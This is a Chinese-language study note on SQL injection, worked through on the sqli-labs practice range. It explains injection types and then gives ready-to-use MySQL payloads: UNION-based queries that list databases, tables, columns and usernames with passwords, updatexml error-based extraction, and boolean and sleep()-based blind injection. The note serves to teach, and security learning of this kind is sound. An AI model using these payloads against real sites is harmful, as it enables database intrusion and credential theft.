当前位置: 首页 > news >正文

日常记录:SQL学习总结

一、什么是SQL注入

SQL注入,就是通过把恶意SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器使数据库执行恶意SQL命令目的的入侵行为。

关键:闭合原有 SQL 语句,构造恶意新语句。

二、SQL注入漏洞分类

三、常见函数

报错函数:extractvalue、updatexml、exp、GTID_SUBSET()等。

截取函数:left、mid、substr(substring、substrB)。

判断函数:if、case when。

其他函数:ascii、length。

数据库常见函数

四、SQL手工注入实操

(一)完整手动注入步骤

1.判断是否存在 SQL 注入

手动测试输入字段在Web应用的输入字段(如登录框、搜索框)中尝试输入特殊字符或SQL片段,观察系统响应。常见的测试输入包括单引号(')、双引号(")、分号(;)或逻辑运算符(如OR 1=1)。如果系统返回数据库错误信息或异常行为,可能存在漏洞。

判断注入点闭合方式

以sqli靶场做练习范例

第一关,输入?id=1'

会发现有报错(程序无法正常从数据库中查询出数据,就会抛出异常和回显),从回显就能推测数据库中应该是id='$id' ,这就是字符型

输入?id=1 and 1=1

页面有返回

输入?id=1 and 1=2

页面有返回

第二关,输入?id=1'

有报错,从回显能推测数据库中应该是id=$id,这就是数字型

输入?id=1 and 1=1

输入?id=1 and 1=2

2.判断字段数

第一关为例,用order by

?id=1'order by 4--+

?id=1'order by 3--+

确定列数为3

3.确定回显位置

这里用union select

?id=-1' union select 1,2,3--+

能够确定2,3回显位

4.爆库名 → 爆表名 → 爆字段名 → 爆数据

(二)常见SQL注入方式

联合查询注入

使用UNION的注入,这种情况多半是有回显的时候。

?id=-1' union select 1,database(),user()--+

爆库名

?id=-1'union select 1,2,group_concat(schema_name) from information_schema.schemata--+
//查询所有的数据库的名字

爆表名

?id=-1'union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

//查询security库里所有表名

爆字段名

?id=-1'union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+

//查询users表的列名 (因为我们安装过dvwa,所以这里查询的users表有两个,一个dvwa里面的users表,一个是sqli里面的users表,故爆出的列名很多。)

解决方法:

指定数据库、数据表

?id=-1'union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')--+

爆数据

?id=-1'union select 1,2,(select group_concat(username,'~',password) from security.users)--+

//查询users表里的数据

得到所有的用户名、密码

报错注入

mysql5.1.5版本中添加了extractvalue()、updatexml()函数,它们两个分别能够对XML文档进行查询、修改操作。

SQL报错注入的应用:当使用extractvalue(xml_frag, xpath_expr)函数时,若xpath_expr参数不符合xpath格式,就会报错。

而~符号(ascii编码值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr参数中使用~符号,就会产生xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入的目的。

爆库名

报错函数用updatexml():为例

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)--+

报错已经成功爆出了部分数据库名,但因为updatexml/extractvalue32 字符长度限制,所以内容被截断了。

right()从后面截取:

?id=-1' and updatexml(1,concat(0x7e,right((select group_concat(schema_name) from information_schema.schemata),30),0x7e),1)--+

这样就查到所有库名

爆表名

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

//查询security库下所有表名

爆字段名

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+ //查询users表下所有字段名

爆数据

因为报错显示位有限,用limit来看每个账户和密码

?id=-1' and updatexml(1,concat(0x7e,(select concat(username,'^',password) from security.users limit 7,1)),1)--+

盲注注入

布尔盲注

Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。

判断数据库名的长度

?id=1'and length((select database()))=9--+

利用bp抓包爆破出来

数据库名长度为8

?id=1'and%20substr(database(),3,1)='c

数据库名字是security

时间盲注

界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数(sleep),通过查看web页面返回的时间差来判断注入的语句是否正确。

?id=-1'||if(substr(database(),1,1)='1',sleep(10),sleep(0))--+ //查数据库名

1、'and length((select database()))='8

//判断当前数据库长度

2、'and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))='29

//判断所有表的长度

3、'and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))='20

//判断users表中字段的长度

4、'and length((select concat(username,password) from security.users limit 7,1))='10 //判断user表第八行数据总位数(username、password)

得到相应的长度后,使用bp爆破相应的数据

'and substr((select concat(username,password) from security.users limit 7,1),1,1)='a

UA注入/referer注入/dnslog外带

cookie注入

宽字节注入

堆叠注入

http://www.jsqmd.com/news/820741/

相关文章:

  • 科技
  • 实战解析:XiaoMusic技术架构深度剖析与智能音箱语音控制实现方案
  • 2026年度盘点!10款好用的降AI工具,AI率一键降至9% - 降AI实验室
  • 这份「基于SpringBoot的疾病防控综合系统」源码和论文,适合做公共卫生类毕设参考!
  • 工业喷淋塔技术选型与实测指南 适配多工况需求 - 奔跑123
  • 天猫超市购物卡如何高价回收? - 团团收购物卡回收
  • JL-01多通道温湿度记录仪:环境监测的得力助手
  • 终极英雄联盟自动BP与战绩查询工具:Seraphine完全指南
  • 工作3年的Python程序员,转大模型开发,我总结的所有实战技巧
  • 终极指南:如何免费解锁WeMod高级功能并增强游戏体验
  • libutp 性能分析总结
  • 你真的理解 volatile 关键字了吗?
  • Spring Boot 3 全局异常处理终极指南(附完整代码架构),拿走即用
  • 如何摆脱游戏卡顿困扰:DLSS Swapper的智能性能管理方案
  • 为什么FreeBSD和苹果都爱用Clang?聊聊它的模块化设计与商业友好性
  • 优雅进程终止:Go工具halt的设计原理与实战应用
  • 泉州 CPPM 认证培训 福建制造业采购必考证书 - 中供国培
  • 全屋定制酒柜技术拆解:从板材到工艺的硬核标准 - 奔跑123
  • Linux 端口管理指南
  • 当用户觉得 Agent 变笨时,真正退化的往往不是模型
  • 大模型小白入门指南:3分钟读懂核心逻辑+高性价比产品推荐(建议收藏+转发)
  • 2026年OpenAI API聚合站权威推荐:为开发者与企业提供全方位的可靠选型指南
  • 人工智能生成内容的文化影响:第一部分
  • 【权威实测】Perplexity UI v2.8.3组件查询API响应延迟骤降76%的6项必调参数
  • Rust 实现轻量级终端复用器 Kibitz:零配置的会话管理利器
  • 2026 年 5 月常州劳力士欧米茄浪琴市场行情对比 - 奢侈品回收测评
  • 2026 济南黄金回收高价变现攻略|拿捏出手时机,多赚不少钱 - 奢侈品回收测评
  • C# —— 上位机行业解析与完整学习规划
  • 别盲目跟风!程序员转智能体开发,先看这篇避坑指南
  • 收藏!小白程序员必看:AI抢工作?2026年高薪新职业已出现!速进!